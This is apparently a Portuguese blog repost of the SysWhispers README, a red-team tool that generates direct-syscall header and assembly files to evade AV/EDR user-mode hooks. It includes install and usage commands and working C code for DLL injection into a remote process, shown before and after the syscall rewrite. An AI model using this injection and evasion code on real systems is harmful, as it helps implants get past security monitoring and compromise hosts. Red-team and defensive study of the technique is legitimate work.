SysWhispers – Evasão AV / EDR através de chamadas diretas ao sistema

O SysWhispers ajuda na evasão , gerando arquivos de cabeçalho / ASM que os implantes podem usar para fazer chamadas diretas ao sistema.
Todos os syscalls principais são suportados do Windows XP a 10. Exemplos de arquivos gerados disponíveis em example-output/.

Introdução
Vários produtos de segurança colocam ganchos nas APIs do modo de usuário, que permitem redirecionar o fluxo de execução para seus mecanismos e detectar comportamentos suspeitos. As funções ntdll.dllque compõem os syscalls consistem em apenas algumas instruções de montagem, portanto, a reimplementação em seu próprio implante pode ignorar o acionamento desses ganchos de produtos de segurança. Essa técnica foi popularizada por @ Cn33liz e sua postagem no blog tem mais detalhes técnicos que merecem ser lidos.
O SysWhispers oferece a equipes vermelhas a capacidade de gerar pares de cabeçalho / ASM para qualquer chamada do sistema na imagem principal do kernel ( ntoskrnl.exe) em qualquer versão do Windows a partir do XP. Os cabeçalhos também incluirão as definições de tipo necessárias.
A principal diferença de implementação entre este e o Dumpert POC é que isso não chama RtlGetVersionpara consultar a versão do sistema operacional, mas faz isso no assembly consultando diretamente o PEB. O benefício é poder chamar uma função que suporta várias versões do Windows, em vez de chamar várias funções, cada uma suportando uma versão.

Instalação

> git clone https://github.com/jthuraisamy/SysWhispers.git
> cd SysWhispers
> pip3 install -r .\requirements.txt
> py .\syswhispers.py --help

Linhas de comando de uso e exemplos


# Export all functions with compatibility for all supported Windows versions (see example-output/).
py .\syswhispers.py --preset all -o syscalls_all

# Export just the common functions with compatibility for Windows 7, 8, and 10.
py .\syswhispers.py --preset common -o syscalls_common

# Export NtProtectVirtualMemory and NtWriteVirtualMemory with compatibility for all versions.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem

# Export all functions with compatibility for Windows 7, 8, and 10.
py .\syswhispers.py --versions 7,8,10 -o syscalls_78X

Saída de script

PS C:\Projects\SysWhispers> py .\syswhispers.py --preset common --out-file syscom

  ,         ,       ,_ /_   .  ,   ,_    _   ,_   ,
_/_)__(_/__/_)__/_/_/ / (__/__/_)__/_)__(/__/ (__/_)__
      _/_                         /
     (/                          /   @Jackson_T, 2019

SysWhispers: Why call the kernel when you can whisper?

Common functions selected.

Complete! Files written to:
        syscom.asm
        syscom.h

Exemplo de antes e depois da CreateRemoteThreadinjeção clássica de DLL

py .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>

void InjectDll(const HANDLE hProcess, const char* dllPath)
{
    LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
 
    WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
    CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Import the generated header.

void InjectDll(const HANDLE hProcess, const char* dllPath)
{
    HANDLE hThread = NULL;
    LPVOID lpAllocationStart = nullptr;
    SIZE_T szAllocationSize = strlen(dllPath);
    LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
 
    NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
    NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}

Funções comuns O
uso do--preset commoncomutador criará um par de cabeçalho / ASM com as seguintes funções:

Clique para expandir a lista de funções.
Importando para o Visual Studio

  1. Copie os arquivos H / ASM gerados na pasta do projeto.
  2. No Visual Studio, vá para Projeto → Construir personalizações … e ative o MASM.
  3. No Gerenciador de Soluções , adicione os arquivos .he .asm ao projeto como arquivos de cabeçalho e de origem, respectivamente.
  4. Vá para as propriedades do arquivo ASM e defina o Tipo de item como Microsoft Macro Assembler .
  5. Verifique se a plataforma do projeto está definida como x64. Projetos de 32 bits não são suportados no momento.

Advertências e limitações

  • Somente o Windows de 64 bits é suportado no momento.
  • As chamadas do sistema do subsistema gráfico ( win32k.sys) não são suportadas.
  • Testado no Visual Studio 2019 (v142) com o Windows 10 SDK.

Solução de problemas

  • ModuleNotFoundError no script Python.
    • Verifique se os módulos necessários estão instalados pip3 install -r requirements.txt.
  • Digite erros de redefinição: um projeto pode não ser compilado se typedefs syscalls.hjá tiver sido definido.
    • Verifique se apenas as funções necessárias estão incluídas (isto --preset allé, raramente são necessárias).
    • Se um typedef já estiver definido em outro cabeçalho usado, ele poderá ser removido syscalls.h.


Baixar SysWhispers

Seja o primeiro a comentar

Deixe uma resposta

O seu endereço de email não será publicado.


*